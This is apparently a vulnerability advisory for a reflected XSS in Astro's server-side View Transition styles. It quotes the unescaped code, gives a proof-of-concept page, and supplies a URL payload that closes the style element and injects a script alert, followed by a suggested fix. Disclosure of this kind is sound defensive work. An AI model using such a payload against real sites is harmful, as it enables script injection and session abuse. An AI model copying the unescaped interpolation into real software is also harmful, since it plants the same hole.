PT-2026-66638 · Npm · Astro

Published

2026-07-20

·

Updated

2026-07-20

CVSS v4.0

5.3

Medium

VectorAV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Summary

Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.
An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.
This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.
Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.

Details

packages/astro/src/runtime/server/transition.ts
The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:
ts
const css = sheet.toString();
result. metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));
Animation properties are added to the stylesheet without escaping:
ts
if (anim.duration) {
 addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}
For string values, toTimeValue() returns the input unchanged:
ts
export function toTimeValue(num: number | string) {
 return typeof num === 'number' ? num + 'ms' : num;
}
As a result, a duration value containing </style> can escape from the generated style element.
Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.

PoC

Using:
  • astro@7.0.9
  • @astrojs/node@11.0.2

astro.config.mjs

js
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';

export default defineConfig({
 output: 'server',
 adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro

astro
---
import { fade } from 'astro:transitions';

const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---

<html lang="en">
 <head>
  <meta charset="utf-8" />
  <title>PoC</title>
 </head>
 <body>
  <div transition:animate={fade({ duration })}>
   Animated content
  </div>
 </body>
</html>

Payload:

open:
text
http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--
The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.
image

Impact

An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.
The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:
  • projects configured with output: "server";
  • pages using export const prerender = false;
  • other server-side data flows that pass attacker-controlled values into a View Transition animation definition.
Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.

Suggested Fix

Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.
Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-79

Related Identifiers

GHSA-4G3V-8H47-V7G6

Affected Products

Astro